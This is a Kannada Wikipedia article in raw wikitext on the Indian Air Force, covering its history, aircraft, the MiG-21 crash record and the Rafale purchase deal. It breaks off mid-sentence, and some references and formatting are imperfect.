ವಿಕಿಪೀಡಿಯ knwiki https://kn.wikipedia.org/wiki/%E0%B2%AE%E0%B3%81%E0%B2%96%E0%B3%8D%E0%B2%AF_%E0%B2%AA%E0%B3%81%E0%B2%9F MediaWiki 1.39.0-wmf.25 first-letter ಮೀಡಿಯ ವಿಶೇಷ ಚರ್ಚೆಪುಟ ಸದಸ್ಯ ಸದಸ್ಯರ ಚರ್ಚೆಪುಟ ವಿಕಿಪೀಡಿಯ ವಿಕಿಪೀಡಿಯ ಚರ್ಚೆ ಚಿತ್ರ ಚಿತ್ರ ಚರ್ಚೆಪುಟ ಮೀಡಿಯವಿಕಿ ಮೀಡೀಯವಿಕಿ ಚರ್ಚೆ ಟೆಂಪ್ಲೇಟು ಟೆಂಪ್ಲೇಟು ಚರ್ಚೆ ಸಹಾಯ ಸಹಾಯ ಚರ್ಚೆ ವರ್ಗ ವರ್ಗ ಚರ್ಚೆ ಕರಡು ಕರಡು ಚರ್ಚೆ TimedText TimedText talk ಮಾಡ್ಯೂಲ್ ಮಾಡ್ಯೂಲ್ ಚರ್ಚೆ Gadget Gadget talk Gadget definition Gadget definition talk ಭಾರತೀಯ ವಾಯುಸೇನೆ 0 1332 1116531 1107585 2022-08-23T16:56:52Z 103.170.220.182 /* ರಫೆಲ್ ಜೆಟ್ ಒಪ್ಪಂದ */ wikitext text/x-wiki {{Infobox military unit |unit_name = ಭಾರತೀಯ ವಾಯುಸೇನೆ | image = [[File:Badge of the Indian Air Force.png|200px]] | image_size = 200px | caption = ಭಾರತೀಯ ವಾಯುಪಡೆಯ ಶಿಖೆ | dates = | country = {{flag|ಭಾರತ}} |allegiance = |role = [[ವೈಮಾನಿಕ ಯುದ್ಧ]] | size = 140,431 active personnel<ref>name="Strength_of_Defence_Forces"</ref><br>Approx. [[List of active Indian military aircraft#Indian Air Force|1,720+ aircraft]]<ref>name="Flightglobal"</ref><ref>name="IISS2014_p245"</ref>[[International Institute for Strategic Studies]]:<ref>The Military Balance 2014, p.245</ref> | command_structure = [[ಭಾರತೀಯ ಸಶಸ್ತ್ರ ಪಡೆ]] | garrison = [[ಹೊಸದಿಲ್ಲಿ]] | garrison_label = Headquarters | motto = ದೀಪ್ತವಾಗಿ ಆಕಾಶವನ್ನು ಸ್ಪರ್ಶಿಸುವೆವು<br>(Nabhaḥ Spr̥śaṁ Dīptam) <br> (''Touch the Sky with Glory'')<ref>{{cite web |title=The IAF Motto |url=http://indianairforce.nic.in/show_page.php?pg_id=132 |publisher=Webmaster IAF – Air Headquarters |accessdate=7 April 2009 |archive-date=10 ಏಪ್ರಿಲ್ 2009 |archive-url=https://web.archive.org/web/20090410000608/http://indianairforce.nic.in/show_page.php?pg_id=132 |url-status=dead }}</ref> | colors = ನೌಕಾನೀಲಿ, ಆಕಾಶ ನೀಲಿ & ಬಿಳಿ <br />{{color box|#041A2A}}{{color box|#CFE3E9}}{{color box|#FFFFF}} | colours_label = Colour | battles = {{Collapsible list | framestyle = border:none; padding:0; | title = Notable Operations | 1 =[[World War II]]|2 =[[Indo-Pakistani War of 1947]]|3 = [[Congo Crisis]]|4 =[[Operation Vijay (1961)|Operation Vijay]]|5 = [[Sino-Indian War]]|6 = [[Indo-Pakistani War of 1965]]|7 =[[Bangladesh Liberation War]]|8 =[[Operation Meghdoot]]|9 =[[Operation Poomalai]]|10 =[[Operation Pawan]]|11 =[[Operation Cactus]]|12 =[[Kargil War]] }} | anniversaries = ವಾಯುಸೇನಾ ದಿನ: 8 October<ref>{{cite web|url=http://www.schizophrenia.com/indiam/archives/005656.html|title=A Mother in India: 8th October|date=22 October 2007|accessdate=20 July 2010}}</ref> | website=[http://indianairforce.nic.in/ indianairforce.nic.in]<!-- Commanders --> |commander1= [[Air Chief Marshal]] [[rakesh kumar singh bhadauira]] |commander1_label= [[Chief of Air Staff (India)|Chief of Air Staff (CAS)]] |commander2= [[Air Marshal]] [[Shirish Baban Deo]]<ref>http://www.financialexpress.com/india-news/air-marshal-sb-deo-to-be-new-vice-chief-of-iaf-air-marshal-c-hari-kumar-to-take-charge-of-western-air-command/489723/</ref> |commander2_label= [[Vice Chief of the Air Staff (India)|Vice Chief of Air Staff (VCAS)]] |notable_commanders=[[Marshal of the Air Force|Marshal of the Indian Air Force]] [[Arjan Singh]]<br />[[Air Chief Marshal]] [[Pratap Chandra Lal]]<br />[[Air Marshal]] [[Subroto Mukherjee]] | identification_symbol=[[File:Air Force Ensign of India.svg|200px]] | identification_symbol_label= Air Force Ensign | identification_symbol_2= [[File:Roundel of India.svg|100px|Roundel]] | identification_symbol_3= [[File:Fin Flash of India.svg|100px|The IAF Fin Flash]] | identification_symbol_2_label= [[Roundel]] | identification_symbol_3_label= [[Fin flashes|Fin flash]]<!-- Active IAF Aircraft (in inventory) --> | aircraft_attack = [[SEPECAT Jaguar|Jaguar]], [[MiG-27]], [[IAI Harpy|Harpy]] | aircraft_electronic=[[EL/W-2090|A-50E/I]], [[DRDO AEW&CS]] | aircraft_fighter = [[Su-30MKI]], [[Mirage 2000]], [[MiG-29]], [[HAL Tejas]], [[MiG-21]], [[Rafale]] | aircraft_helicopter= [[HAL Dhruv|Dhruv]], [[HAL Chetak|Chetak]], [[HAL Cheetah|Cheetah]], [[Mil Mi-8|Mi-8]], [[Mil Mi-17|Mi-17]], [[Mi-26]], [[Mil Mi-24|Mi-25/35]], [[HAL Light Combat Helicopter]], [[HAL Rudra]] | aircraft_recon = [[IAI Searcher|Searcher II]], [[IAI Heron|Heron]] | aircraft_trainer = [[BAE Hawk|Hawk Mk 132]], [[HAL Kiran|HJT-16 Kiran]], [[Pilatus PC-7|Pilatus C-7 Mk II]] | aircraft_transport= [[C-17 Globemaster III]], [[Il-76]], [[An-32]], [[HS 748]], [[Do 228]], [[Boeing 737]], [[Embraer ERJ 145 family|ERJ 135]], [[C-130J]] | aircraft_tanker= [[Il-78|Il-78 MKI]] | native_name = भारतीय वायु सेना<br>Bhāratīya Vāyu Senā | start_date = {{start date and age|1932|10|8|df=y}} | mottoeng = "''Touch the Sky with Glory''" | ceremonial_chief = <!-- Insignia --> | bomber = [[DRDO auto]] }} '''ಭಾರತೀಯ ವಾಯುಸೇನೆ''' ಪ್ರಪಂಚದ ಅತಿ ದೊಡ್ಡ ವಾಯು ಸೇನೆಗಳಲ್ಲಿ ಒಂದು. ಇದನ್ನು ಸ್ಥಾಪಿಸಿದ್ದು ಅಕ್ಟೋಬರ್ ೮, ೧೯೩೨ ರಂದು. ==ಚರಿತ್ರೆ== ೧೯೩೨ ರಲ್ಲಿ ಅಸ್ತಿತ್ವಕ್ಕೆ ಬಂದ ವಾಯುಸೇನೆಯ ನಂ.೧ ಸ್ಕ್ವಾಡ್ರನ್ ೧೯೩೩ ರಲ್ಲಿ ಕರಾಚಿಯಲ್ಲಿ ಕಾರ್ಯಸ್ಥಿತಿಗೆ ಬಂದಿತು. ಆಗ ಇದ್ದದ್ದು ಕೇವಲ ಐದು ಪೈಲಟ್ ಗಳು! ಕೇವಲ ನಾಲ್ಕು ವಪೀಟೀ ವಿಮಾನಗಳನ್ನು ಹೊಂದಿದ್ದ ವಾಯುಸೇನೆ ಇಂದು ೨೦೦೦ ಕ್ಕೂ ಹೆಚ್ಚು ಯುದ್ಧವಿಮಾನಗಳನ್ನು ಹೊಂದಿದೆ. ===ಮೊದಲ ಪೈಲಟ್ ಗಳು=== ಭಾರತೀಯ ವಾಯುಸೇನೆಯ ಮೊದಲ ಐದು ಪೈಲಟ್‍ಗಳು ಹೆ ಸಿ ಸರ್ಕಾರ್, ಸುಬ್ರೊತೊ ಮುಖರ್ಜೀ, ಭೂಪೇಂದ್ರ ಸಿಂಗ್, ಎ ಬ್ ಅವನ್ ಮತ್ತು ಅಮರ್ಜೀತ್ ಸಿಂಗ್. ೧೯೩೩ ರಲ್ಲಿ ಸೇರಿದ ಈ ಐವರಲ್ಲಿ ಭೂಪೇಂದ್ರ ಸಿಂಗ್ ಮತ್ತು ಅಮರ್ಜೀತ್ ಸಿಂಗ್ ವಿಮಾನ ಅಪಘಾತಗಳಲ್ಲಿ ಮೃತರಾದರು. ಸರ್ಕಾರ್ ಒಂದು ವರ್ಷದೊಳಗೇ ವಾಯುಸೇನೆಯನ್ನು ಬಿಟ್ಟರು. ಎ ಬಿ ಅವನ್ ಭಾರತದ ವಿಂಗಡಣೆಯ ನಂತರ ಪಾಕಿಸ್ತಾನವನ್ನು ಸೇರುವುದಾಗಿ ನಿರ್ಧರಿಸಿದರು. ಸುಬ್ರೊತೊ ಮುಖರ್ಜಿ ಮುಂದೆ ಭಾರತೀಯ ಸೇನೆಯ ಮೊದಲ ಮುಖ್ಯಸ್ಥರಾದರು. ಎರಡನೆಯ ಮಹಾಯುದ್ಧದ ಮೊದಲು ಇನ್ನಷ್ಟು ವಿಮಾನಗಳು ಮತ್ತು ಪೈಲಟ್‍ಗಳು ವಾಯುಸೇನೆಯನ್ನು ಸೇರಿದರು. ===ಎರಡನೇ ಮಹಾಯುದ್ಧ=== ಭಾರತೀಯ ಸೈನ್ಯ [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|ಎರಡನೇ ಮಹಾಯುದ್ಧದಲ್ಲಿ]] ಅತಿ ದೊಡ್ಡ ಸ್ವಯಂಸೇವಕ ಪಡೆ ಎಂಬುದು ಹೆಚ್ಚು ಜನರಿಗೆ ತಿಳಿದಿಲ್ಲ. ಒಟ್ಟು ೨ ಕೋಟಿ ಭಾರತೀಯ ಸೈನಿಕರು ಪಾಲ್ಗೊಂಡ ಈ ಯುದ್ಧದಲ್ಲಿ ಭಾರತೀಯ ವಾಯುಸೇನೆಯೂ ಪಾಲ್ಗೊಂಡಿತು. ===೧೯೪೭-೪೮ ಕಾಶ್ಮೀರ ಯುದ್ಧ=== ಅಕ್ಟೋಬರ್ ೨೦, ೧೯೪೭ ರಲ್ಲಿ ಪಾಕಿಸ್ತಾನದಿಂದ ಸಹಾಯ ಪಡೆದ ಪಠಾಣರ ದಳವೊಂದು ಕಾಶ್ಮೀರದೊಳಕ್ಕೆ ನುಗ್ಗಿತು. ಕಾಶ್ಮೀರದ ಮಹಾರಾಜರಾದ ಹರಿ ಸಿಂಗ್ ಭಾರತದ ಸಹಾಯ ಕೋರಿದರು. ಕಾಶ್ಮೀರ ಭಾರತಕ್ಕೆ ಸೇರಬೇಕೆಂಬ ಶರತ್ತಿನ ಸಹಾಯ ನೀಡಿದ ಭಾರತ, ವಾಯುಸೇನಯ ವಿಮಾನಗಳ ಮೂಲಕ ತನ್ನ ಸೈನಿಕರನ್ನು ಕಾಶ್ಮೀರಕ್ಕೆ ಸಾಗಿಸಿತು. ಡಿಸಂಬರ್ ೩೧, ೧೯೪೮ ರಲ್ಲಿ ಈ ಯುದ್ಧ ಕೊನೆಗೊಂಡಿತು. ವಾಯುಸೇನೆ ನೇರವಾಗಿ ಯುದ್ಧದಲ್ಲಿ ಪಾಲ್ಗೊಳ್ಳುವ ಸಂದರ್ಭ ಈ ಯುದ್ಧದಲ್ಲಿ ಉಂಟಾಗಲಿಲ್ಲ. ===೧೯೬೧ ಕಾಂಗೋ=== ಜೂನ್ ೩೦, ೧೯೬೦ ರಲ್ಲಿ ಕಾಂಗೋ ದೇಶದ ಮೇಲಿನ ಬೆಲ್ಜಿಯಮ್ ನ ಆಡಳಿತ ಹಠಾತ್ತಾಗಿ ಕೊನೆಗೊಂಡಿತು. ಆಗ ಅಲ್ಲಿ ಶಾಂತಿ ನಿರ್ವಹಣಾ ಕಾರ್ಯಕ್ಕೆ ವಿಶ್ವಸಂಸ್ಥೆ ಸಹಾಯವನ್ನು ಕೋರಿತು. ಭಾರತದ ಪ್ರಧಾನಿ [[ಜವಾಹರಲಾಲ್ ನೆಹರು]] ಭಾರತೀಯ ವಾಯುಸೇನೆಯ ವಿಮಾನಗಳು ಮತ್ತು ಸೈನಿಕರನ್ನು ಒದಗಿಸಿದರು. ಕೆನ್ಬೆರ್ರಾ ಯುದ್ಧವಿಮಾನ ಈ ಕಾಲದಲ್ಲಿ ಉಪಯೋಗಿತವಾಯಿತು. == ವಾಯು ಸೇನೆ ಮುಖ್ಯಸ್ಥರು== *31 Dec, 2016 *ವಾಯುಪಡೆಯ ಮುಖ್ಯಸ್ಥರಾಗಿ ರಾಕೇಶ್ ಸಿಂಗ್ ಭಾದೌಇರ ಅವರು 30 sep, 2019 ಶನಿವಾರ ಅಧಿಕಾರ ಸ್ವೀಕರಿಸಿದರು. ಬಿಪಿನ್ ಅವರು ಸೇನೆಯ 28ನೇ ಮುಖ್ಯಸ್ಥರಾಗಿದ್ದರೆ, ರಾಕೇಶ್ ಸಿಂಗ್ ಭಾದೌಇರ ಅವರು ವಾಯುಪಡೆಯ/ಮುಖ್ಯಸ್ಥರಾಗಿದ್ದಾರೆhttpwww.prajavani.net/news/article/2016/12/31/462862.html ವಾಯುಪಡೆ, ಸೇನೆಯ ಹೊಸ ಮುಖ್ಯಸ್ಥರ ಅಧಿಕಾರ ಸ್ವೀಕಾರ;ಪಿಟಿಐ;1 Jan, 2017] ===[[೧೯೬೨ ಭಾರತ-ಚೀನಾ ಯುದ್ಧ]]=== ===೧೯೬೫ ಭಾರತ-ಪಾಕಿಸ್ತಾನ ಯುದ್ಧ=== ===೧೯೭೧ ಭಾರತ ಪಾಕಿಸ್ತಾನ ಯುದ್ಧ=== ==ವಾಯುಸೇನೆಯ ವಿಮಾನಗಳು== [[File:HAL Tejas.jpg|360px|right|thumb|ತೇಜಸ್ -HAL Tejas]] ===ಬಾಂಬರ್ ಗಳು=== * ಲಿಬರೇಟರ್ * ಕೆನ್‍ಬೆರ್ರಾ ===ಫೈಟರ್ ಗಳು=== * ಸುಖೋಯಿ Su-30MKI * ಮಿರಾಜ್ 2000H * ಜಾಗ್ವಾರ್ IS * ಜಾಗ್ವಾರ್ IM * ಮಿಗ್-೨೯ (Fulcrum) * ಮಿಗ್-೨೭ ML (Flogger) * ಮಿಗ್-೨೫ U (Foxbat) * ಮಿಗ್-೨೫ R (Foxbat) * ಮಿಗ್-೨೩ MF (Flogger) * ಮಿಗ್-೨೩ BN (Flogger) * ಮಿಗ್-೨೧ Bison (Fishbed) * ಮಿಗ್-೨೧ Bis (Fishbed) * ಮಿಗ್-೨೧ M (Fishbed) * ಮಿಗ್-೨೧ MF(Fishbed) * ಮಿಗ್-೨೧ FL(Fishbed) * ಮಿಗ್-೨೧ PF(Fishbed) * ಮಿಗ್-೨೧ F-13(Fishbed) *ಕಳೆದ 40 ವರ್ಷಗಳಲ್ಲಿ ಮಿಗ್‌–21 ಯುದ್ಧ ವಿಮಾನಗಳು ಹಲವು ಬಾರಿ ಪತನಗೊಂಡಿವೆ. ಭಾರತ 872 ಮಿಗ್‌ ವಿಮಾನಗಳಲ್ಲಿ ಅರ್ಧದಷ್ಟು ಕಳೆದುಕೊಂಡಿದೆ. 1973–74ರಲ್ಲಿ ಭಾರತೀಯ ವಾಯುಪಡೆಗೆ ಮಿಗ್‌–21 ಯುದ್ಧ ವಿಮಾನ ಸೇರ್ಪಡೆಯಾಯಿತು. 2006ರಲ್ಲಿ ಕನಿಷ್ಠ 110 ಮಿಗ್‌–21 ಯುದ್ಧ ವಿಮಾನಗಳನ್ನು ಆಧುನೀಕರಿಸಲಾಯಿತು. ಮಿಗ್‌–21 ಬೈಸನ್‌ ಹೆಸರಿನ ಅವುಗಳು ಅಧಿಕ ಸಾಮರ್ಥ್ಯದ ರಡಾರ್‌, ಉತ್ತಮಗೊಳಿಸಿದ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ ವ್ಯವಸ್ಥೆ ಹಾಗೂ ಸಂವಹನ ವ್ಯವಸ್ಥೆಯನ್ನು ಒಳಗೊಂಡಿವೆ.<ref>[https://www.prajavani.net/stories/national/mig-fighters-air-chief-says-no-659361.html ಭಾರತೀಯ ವಾಯುಪಡೆ;44 ವರ್ಷ ಹಳೆಯ ಮಿಗ್‌ ಯುದ್ಧ ವಿಮಾನ; ಅಷ್ಟು ವರ್ಷದ ಕಾರನ್ನೂ ಯಾರೂ ಬಳಸಲ್ಲ–ಧನೋಆ;d: 20 ಆಗಸ್ಟ್ 2019]</ref> ===ಹೆಲಿಕಾಪ್ಟರ್ ಗಳು=== * HAL ಧ್ರುವ * HAL ಚೀತಾ * HAL ಚೇತಕ್ ===ತರಬೇತಿ ವಿಮಾನಗಳು=== * BAE Hawk * HAL HJT-16 ("ಕಿರಣ್") * HAL HPT-32 ("ದೀಪಕ್") ==ಬರಲಿರುವ ವಿಮಾನಗಳು== * HAL ತೇಜಸ್ (ಹಗುರ ಯುದ್ಧ ವಿಮಾನ) * HAL ಹೆಚ್-ಜೆ-ಟಿ ೩೬ (ತರಬೇತಿ ವಿಮಾನ) ==ಮಿಗ್–21 ಯುದ್ಧ ವಿಮಾನ ಅಪಘಾತ== [[File:MiG-21 RB15.JPG|320px|right|thumb|ಮಿಗ್ 21 ಎಂ.ಎಫ್]] *ಭಾರತೀಯ ವಾಯುಪಡೆಯಲ್ಲಿ ಬಳಸಿದ ಮೊದಲ ಸೂಪರ್‌ಸಾನಿಕ್‌ ಜೆಟ್‌ ಯುದ್ಧ ವಿಮಾನ. 1971ರ ಬಾಂಗ್ಲಾ ವಿಮೋಚನಾ ಯುದ್ಧ ಮತ್ತು 1999ರ ಕಾರ್ಗಿಲ್‌ ಯುದ್ಧಗಳ ಗೆಲುವಿನಲ್ಲಿ ಈ ವಿಮಾನಗಳು ಮಹತ್ವದ ಪಾತ್ರ ವಹಿಸಿವೆ. *ವಿಶ್ವದಲ್ಲೇ ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯಲ್ಲಿರುವ ಯುದ್ಧ ವಿಮಾನಗಳ ಪೈಕಿ ಸೋವಿಯತ್ ರಷ್ಯಾದ ಮಿಗ್‌–21 ವಿಮಾನಕ್ಕೆ ಅಗ್ರ ಸ್ಥಾನ. 1955ರಲ್ಲಿ ತಯಾರಾದ ಈ ವಿಮಾನ ಈಗಲೂ ಬೇರೆ ಬೇರೆ ರಾಷ್ಟ್ರಗಳ ವಾಯುಪಡೆಗಳಲ್ಲಿ ಸೇವೆ ಸಲ್ಲಿಸುತ್ತಿವೆ. ಭಾರತೀಯ ವಾಯುಪಡೆಯಲ್ಲೂ ಮಿಗ್‌–21 ತುಕಡಿಗಳಿವೆ. *ನಿವೃತ್ತಿಯ ಅಂಚಿನಲ್ಲಿರುವ ಈ ವಿಮಾನಗಳು ಪದೇ ಪದೇ ಅಪಘಾತಕ್ಕೆ ಈಡಾಗುತ್ತಿವೆ. ಅವಧಿ ಮುಗಿದ ನಂತರವೂ ಅವನ್ನು ಬಳಸುತ್ತಿರುವುದು ಅಪಘಾತಕ್ಕೆ ಪ್ರಮುಖ ಕಾರಣ ಎಂಬ ಅಭಿಪ್ರಾಯ ತಜ್ಞರಿಂದ ವ್ಯಕ್ತವಾಗಿದೆ. ==''ಭಾರತೀಯ ಸೇನೆಯಲ್ಲಿ ಸೇವೆ''== [[File:Sheeju mig21.JPG|320px|right|thumb|''ಯುದ್ಧವಿಮಾನ ಎಂ.ಎಫ್ ಬೈಸನ್ (Sheeju mig21)'']] *''ಭಾರತೀಯ ವಾಯುಪಡೆಯಲ್ಲಿ ಬಳಸಿದ ಮೊದಲ ಸೂಪರ್‌ಸಾನಿಕ್‌ ಜೆಟ್‌ ಯುದ್ಧ ವಿಮಾನ. 1971ರ ಬಾಂಗ್ಲಾ ವಿಮೋಚನಾ ಯುದ್ಧ ಮತ್ತು 1999ರ *ಕಾರ್ಗಿಲ್‌ ಯುದ್ಧಗಳ ಗೆಲುವಿನಲ್ಲಿ ಈ ವಿಮಾನಗಳು ಮಹತ್ವದ ಪಾತ್ರ ವಹಿಸಿವೆ. 1990ರ ದಶಕದಲ್ಲೇ ಇವುಗಳನ್ನು ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿಗೊಳಿಸಬೇಕಾಗಿತ್ತು. ಆದರೆ ಇವುಗಳಿಗೆ ಸರಿಸಮನಾದ ಯುದ್ಧ ವಿಮಾನ ವಾಯುಪಡೆಯಲ್ಲಿ ಇಲ್ಲದ ಕಾರಣ ಇವುಗಳ ಸೇವೆಯನ್ನು ಮುಂದುವರೆಸಲಾಗಿದೆ.'' *ಮಿಗ್‌–21 ಎಂಎಫ್‌ ಮತ್ತು ಮಿಗ್ –21 ಬಿಸನ್‌ ಎಂಬ ಎರಡು ಅವತರಣಿಕೆಯ ವಿಮಾನಗಳು ಸೇವೆಯಲ್ಲಿದ್ದವು. ಈಗ ಎಂಎಫ್‌ ಸರಣಿಯ ವಿಮಾನಗಳನ್ನು ನಿವೃತ್ತಿ ಮಾಡಲಾಗಿದೆ. ಎಚ್‌ಎಎಲ್‌ ತಯಾರಿಸಿದ [[ಎಚ್ಎಎಲ್ ತೇಜಸ್]] ಲಘು ಯುದ್ಧ ವಿಮಾನಗಳು ಸೇವೆಗೆ ಲಭ್ಯವಾದ ನಂತರ ಬಿಸನ್‌ ಸರಣಿಯ ಮಿಗ್‌–21ಗಳನ್ನೂ ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿಗೊಳಿಸಲಾಗುತ್ತದೆ.ಶ್ರೀನಗರ: (ತಾಂತ್ರಿಕ ಸಮಸ್ಯೆಯಿಂದ ಮಿಗ್–21 ಯುದ್ಧ ವಿಮಾನವು ತುರ್ತು ಭೂಸ್ಪರ್ಶ ಮಾಡಿರುವ ಘಟನೆ ಮಂಗಳವಾರ 20 Sep, 2016 ನಂದು ಶ್ರೀನಗರ ವಿಮಾನ ನಿಲ್ದಾಣದಲ್ಲಿ ನಡೆದಿದೆ. ಘಟನೆಯಲ್ಲಿ ಫೈಲಟ್ ಸೇರಿದಂತೆ ಯಾರಿಗೂ ಅಪಾಯ ಆಗಿಲ್ಲ ಎಂದು ಮೂಲಗಳು ತಿಳಿಸಿವೆ. ==ವಿವರ== * ತಯಾರಿಕಾ ಸಂಸ್ಥೆ: ಸೋವಿಯತ್‌ ಒಕ್ಕೂಟದ ಮಿಕೊಯಾನ್ ಗೌರೆವಿಚ್ * ತಾಂತ್ರಿಕ ವಿವರ * 15.7 ಮೀಟರ್ ಉದ್ದ * 4.5 ಮೀಟರ್ ಎತ್ತರ * 7.15 ಮೀಟರ್ ರೆಕ್ಕೆಗಳ ಅಗಲ * 6,050 ಕೆ.ಜಿ ಖಾಲಿ ತೂಕ * 10,050 ಕೆ.ಜಿ ಭರ್ತಿ ತೂಕ * 14 ಸಾವಿರಕ್ಕಿಂತ ಹೆಚ್ಚು ವಿಮಾನ ತಯಾರಿ * 2,050 ಕಿ.ಮೀ ವೇಗ * 54,500 ಅಡಿ ಎತ್ತರದಲ್ಲಿ ಹಾರಾಟ ನಡೆಸುವ ಸಾಮರ್ಥ್ಯ * 54,500 ಅಡಿ ಎತ್ತರದಲ್ಲಿ ಹಾರಾಟ ನಡೆಸುವ ಸಾಮರ್ಥ್ಯ =='''ಸೇರ್ಪಡೆ ಮತ್ತು ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿ'''== * '''1963ರಲ್ಲಿ ಭಾರತೀಯ ವಾಯುಪಡೆಗೆ ಮಿಗ್‌ ಯುದ್ಧವಿಮಾನಗಳ ಸೇರ್ಪಡೆ''' * '''872 ಮಿಗ್–21 ಎಂಎಫ್‌ ಮತ್ತು ಮಿಗ್‌–21 ಬಿಸನ್‌ ವಿಮಾನಗಳ ಸಂಖ್ಯೆ''' * '''485 ಈವರೆಗೆ ಪತನವಾಗಿರುವ ಎರಡೂ ಅವತರಣಿಕೆಯ ವಿಮಾನಗಳ ಸಂಖ್ಯೆ''' * '''171 ಪತನಗಳಲ್ಲಿ ಮೃತಪಟ್ಟಿರುವ ಪೈಲಟ್‌ಗಳ ಸಂಖ್ಯೆ''' * '''2013ರ ಡಿಸೆಂಬರ್‌ ಮಿಗ್‌–21 ಎಂಎಫ್‌ ವಿಮಾನಗಳು ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿ''' * '''8 ಪತನ ಸಂಬಂಧಿ ಘಟನೆಗಳಲ್ಲಿ ಮೃತಪಟ್ಟ ತುರ್ತು ಸೇವೆಗಳ ಸಿಬ್ಬಂದಿ''' * 4'''0 ಪತನಗಳಲ್ಲಿ ಮೃತಪಟ್ಟ ನಾಗರಿಕರು''' * '''150 ಈಗ ಸೇವೆಯಲ್ಲಿರುವ ಮಿಗ್–21 ಬಿಸನ್ ವಿಮಾನಗಳ ಸಂಖ್ಯೆ''' * '''2022‌ ಮಿಗ್‌–21 ವಿಮಾನಗಳು ಸಂಪೂರ್ಣವಾಗಿ ಸೇವೆಯಿಂದ ನಿವೃತ್ತಿಯಾ''' ಗಲಿವೆ <ref>[http://www.prajavani.net/news/article/2016/09/21/439465.htmlಮತ್ತೆ ಮತ್ತೆ ಮಿಗ್–21 ಯುದ್ಧ ವಿಮಾನ ಅಪಘಾತ]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ==ರಫೆಲ್ ಜೆಟ್ ಒಪ್ಪಂದ== *ವಿಶೇಷ ಲೇಖನ:[[ರಫೆಲ್ ಯುದ್ಧವಿಮಾನ - ಭಾರತ ಮತ್ತು ಫ್ರಾನ್ಸ್ ಒಪ್ಪಂದ]] [[File:Dassault Rafale Taxies to the runway at Aero India 2011 (8th edition of Aero India).jpg|320px|right|thumb|ದಸ್ಸಾಲ್ಟ ರಾಫೇಲ್ ಯುದ್ಧವಿಮಾನ ೨೦೧೧ರ ಪ್ರದರ್ಶನದಲ್ಲಿ (at Aero India 2011 -8th edition of Aero India)]] *ಫೇಲ್ ಯುದ್ಧ ವಿಮಾನಗಳ ಖರೀದಿಗೆ ರೂ.59 ಸಾವಿರ ಕೋಟಿ ಮೊತ್ತದ ಒಪ್ಪಂದಕ್ಕೆ ಭಾರತ ಮತ್ತು ಫ್ರಾನ್ಸ್‌ ದಿ.23 Sep 2016:ಶುಕ್ರವಾರ ಸಹಿ ಮಾಡಿದವು. ಅತ್ಯಾಧುನಿಕ ಕ್ಷಿಪಣಿ ಹಾಗೂ ಶಸ್ತ್ರಾಸ್ತ್ರ ಹೊತ್ತೊಯ್ಯುವ ಸಾಮರ್ಥ್ಯ ಇರುವ ಈ ಯುದ್ಧ ವಿಮಾನ, ಭಾರತೀಯ ವಾಯುಪಡೆಗೆ ಪಾಕಿಸ್ತಾನಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಸಾಮರ್ಥ್ಯವನ್ನು ನೀಡಲಿದೆ ಎನ್ನಲಾಗಿದೆ. ಭಾರತದ ರಕ್ಷಣಾ ಸಚಿವ ಮನೋಹರ ಪರಿಕ್ಕರ್ ಮತ್ತು ಫ್ರಾನ್ಸ್‌ನ ರಕ್ಷಣಾ ಸಚಿವ ಜೀನ್ ಯವೆಸ್‌ ಲೆ ಡ್ರಿಯಾನ್ ಅವರ ಸಮ್ಮುಖದಲ್ಲಿ ಈ ಒಪ್ಪಂದ ನಡೆದಿದೆ. 16 ತಿಂಗಳ ಹಿಂದೆ ಫ್ರಾನ್ಸ್‌ಗೆ ಭೇಟಿ ನೀಡಿದ್ದ ಪ್ರಧಾನಿ ನರೇಂದ್ರ ಮೋದಿ ಅವರು, 36 ರಫೇಲ್ ಯುದ್ಧ ವಿಮಾನಗಳನ್ನು ಖರೀದಿಸಲಾಗುವುದು ಎಂದು ಘೋಷಿಸಿದ್ದರು.<ref>{{Cite web |url=http://www.prajavani.net/news/article/2016/09/24/440147.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2016-09-24 |archive-date=2016-09-24 |archive-url=https://web.archive.org/web/20160924160129/http://www.prajavani.net/news/article/2016/09/24/440147.html |url-status=dead }}</ref> *ಫ್ರೆಂಚ್ ನ ರಕ್ಷಣಾ ಸಚಿವ ಜೀನ್ ಯೆಸ್ ಲೆ ಡ್ರಿಯಾನ್ ಅವರು ನವದೆಹಲಿಗೆ ಆಗಮಿಸುತ್ತಿದ್ದು ಬಹುನಿರೀಕ್ಷಿತ ರಫೆಲ್ ಜೆಟ್ ಒಪ್ಪಂದಕ್ಕೆ ಭಾರತದ ರಕ್ಷಣಾ ಸಚಿವ ಮನೋಹರ್ ಪರಿಕ್ಕರ್ ಸಹಿಹಾಕಿದ್ದಾರೆ. ಫ್ರಾನ್ಸ್ ನೊಂದಿಗೆ ಚೌಕಾಶಿ ಮೂಲಕ ಭಾರತ 7.8 ಬಿಲಿಯನ್ ಯುರೋಗಳಿಗೆ 36 ರಾಫೆಲ್ ಜೆಟ್ ಗಳನ್ನು ಖರೀದಿಸುವುದು ಅಂತಿಮವಾಗಿದ್ದು, ಒಪ್ಪಂದ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ರಾಫೆಲ್ ಜೆಟ್ ತಯಾರಕ ಸಂಸ್ಥೆ ಡಸ್ಸಾಲ್ಟ್ ಏವಿಯೇಷನ್ ಸೇರಿದಂತೆ ಫ್ರೆಂಚ್ ನ ಹಲವು ಸಂಸ್ಥೆಗಳ ಸಿಇಒ ಗಳು ಭಾಗಿಯಾಗಲಿದ್ದಾರೆ. *ಯುಪಿಎ ಸರ್ಕಾರದ ಅವಧಿಯಲ್ಲಿ ಮಾಡಿಕೊಳ್ಳಲಾಗಿದ್ದ ಒಪ್ಪಂದವನ್ನು ಮೋದಿ ಸರ್ಕಾರ ರದ್ದುಗೊಳಿಸಿ ಹೊಸ ಒಪ್ಪಂದಕ್ಕೆ ಮುಂದಾಗಿದ್ದು, ಇದರಿಂದಾಗಿ ಭಾರತಕ್ಕೆ 750 ಮಿಲಿಯನ್ ಯುರೋಗಳಷ್ಟು ಹಣ 